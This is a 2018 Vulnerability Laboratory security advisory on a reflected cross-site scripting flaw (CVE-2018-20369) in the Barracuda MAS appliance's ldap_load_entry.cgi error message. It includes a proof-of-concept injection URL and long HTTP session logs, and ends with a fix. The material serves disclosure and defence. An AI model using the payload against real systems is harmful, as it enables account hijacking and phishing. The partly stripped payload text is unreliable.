Document Title: =============== Barracuda MAS - (ldap_load_entry.cgi) XSS Vulnerability Date: ===== 2018-11-12 References: =========== https://www.vulnerability-lab.com/get_content.php?id=2168 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20369 CVE-ID: ===== CVE-2018-20369 VL-ID: ===== 2168 Common Vulnerability Scoring System: ==================================== 4 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Abstract: ========= The vulnerability laboratory core research team discovered a client-side cross site vulnerability in the Barracuda Networks MAS appliance web-application. Report-Timeline: ================ 2018-11-12: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== Barracuda Networks Product: CC MAS - Appliance (Web-Application) v2018 MA Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A client-side cross site scripting web vulnerability has been discovered in the official Barracuda Networks MAS 2018 appliance web-application. The non-persistent vulnerability allows remote attackers inject own malicious script code to client-side web-application requests. The client-side cross site web vulnerability is located in the `error_msg` exception-handling value of the `ldap_load_entry.cgi` module. Remote attackers are able to prepare malicious client-side application request to compromise appliance application accounts. The injection point of the issue is the vulnerable `Add_Update` module and the execution occurs in the wrong encoded exception-handling output on inseration of invalid contents. The attack vector of the issue is located on the client-side of the service and the request method to execute the injected code is POST (Referer). Exploitation of the client-side remote vulnerability requires low or medium user interaction and a low privileged application user account. Successful exploitation leads to customer account theft through hijacking, client-side phishing, client-side external redirects, and client-side manipulation of the web context of the affected and connected device module. Request Method(s): [+] POST Vulnerable Module(s): [+] LDAP User - Add_Update Vulnerable File(s): [+] ldap_load_entry.cgi Vulnerable Parameter(s): [+] error_msg (Exception-Handling) Proof of Concept: ================= The client-side vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Payload: Test payload>" payload>" PoC: Exploitation https://mas.localhost:6211/cgi-mod/ldap_load_entry.cgi?user=guest&password=XXX&et=XXX&ldap_user=payload>"<%2F Vulnerable Source:
Error: Not found in LDAP: a a>"
--- PoC Session Logs [POST] --- https://mas.localhost:6211/cgi-mod/ldap_load_entry.cgi?user=guest&password=17442aaaa4c4a04745367906239b65ee&et=1531921667 &ldap_user=payload>"<%2Fiframe> Host: mas.localhost:6211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://mas.localhost:6211/cgi-mod/index.cgi?auth_type=Local&et=1531921653&locale=en_US&password=5b4b5bf3127147ea754d611a0f8d6451& primary_tab=USERS&realm= &secondary_tab=ldap_user_add&user=guest&tab_id=ldap_user_add X-Requested-With: XMLHttpRequest Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1 Connection: keep-alive - GET: HTTP/1.1 200 OK Server: nginx/1.2.5 Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Cache-Control: no-cache, no-store, max-age=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN https://mas.localhost:6211/cgi-mod/evil.source Host: mas.localhost:6211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://mas.localhost:6211/cgi-mod/index.cgi?auth_type=Local&et=1531921555&locale=en_US& password=71760ba6891caac5f088d3c5a2c75297&primary_tab=USERS&realm= &secondary_tab=client_configuration&user=guest Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1 Connection: keep-alive Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 502 Bad Gateway Server: nginx/1.2.5 Content-Type: text/html Content-Length: 1949 Connection: keep-alive Keep-Alive: timeout=20 https://mas.localhost:6211/cui/reset.css Host: mas.localhost:6211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/css,*/*;q=0.1 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://mas.localhost:6211/cgi-mod/evil.source Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1 Connection: keep-alive - GET: HTTP/1.1 200 OK Server: nginx/1.2.5 Content-Type: text/css Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Cache-Control: max-age=315360000, public https://mas.localhost:6211/cui/main.css Host: mas.localhost:6211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/css,*/*;q=0.1 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://mas.localhost:6211/cgi-mod/evil.source Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1 Connection: keep-alive - GET: HTTP/1.1 200 OK Server: nginx/1.2.5 Content-Type: text/css Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Cache-Control: max-age=315360000, public https://mas.localhost:6211/cui/mobile.css Host: mas.localhost:6211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/css,*/*;q=0.1 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://mas.localhost:6211/cgi-mod/evil.source Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1 Connection: keep-alive - GET: HTTP/1.1 200 OK Server: nginx/1.2.5 Content-Type: text/css Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Cache-Control: max-age=315360000, public https://mas.localhost:6211/cgi-mod/header_logo.cgi?size=big Host: mas.localhost:6211 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://mas.localhost:6211/cgi-mod/evil.source Cookie: appsec_session=cyssdlt067lnjt9hftb5lmetrysa2yln; BNES_appsec_session=0KxeUrxG8vLJ2b3pBe+McUN58BR4ZlIuNv25oQM4e95+MPp+q5GHnlozOzabwzhgbLTMIdgDVq4nrrhrLKtE7GujEWSnW5IQsB5bbpLnHlpVmf0Up9b8AnzftU7DGWcc; CLOUD_LOCALE=en_US; cloud_session=eda385b289ah0uvjsb92nr5dt3; mfa=0; CLOUD_AT=GL-df3fcfb9e4d22caa81e5e52682117ef4f8791680-6a72be3ce30f48b4a258f554e6aad7fb; current_account=10767761; ys-folder_list=o%3Acollapsed%3Db%253A1; ys-details_south=o%3Acollapsed%3Db%253A1; ys-details_east=o%3Acollapsed%3Db%253A0; ys-details_west=o%3Acollapsed%3Db%253A1 Connection: keep-alive - GET: HTTP/1.1 200 OK Server: nginx/1.2.5 Content-Type: image/png; charset=ISO-8859-1 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Cache-control: no-cache, no-store X-Frame-Options: SAMEORIGIN Reference(s): https://mas.localhost:6211/ https://mas.localhost:6211/cgi-mod/ https://mas.localhost:6211/cgi-mod/index.cgi?auth_type=Local&et=1531921653&locale=en_US&password=5b4b5bf31271& primary_tab=USERS&realm=&secondary_tab=ldap_user_add&user=guest&tab_id=ldap_user_add Solution: ========= The cross site scripting web vulnerability can be patched by an escape of the output in the error message. The input of the ldap name value can be restricted or filtered to prevent script code injection attacks. Note: The issue is marked as resolved by the barracuda networks developer team within 2018 Q1 - Q4. Risk: ===== The security risk of the client-side cross site scripting vulnerability in the barracuda networks mas web-application is estimated as medium. Credits: ======== Benjamin K.M. [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™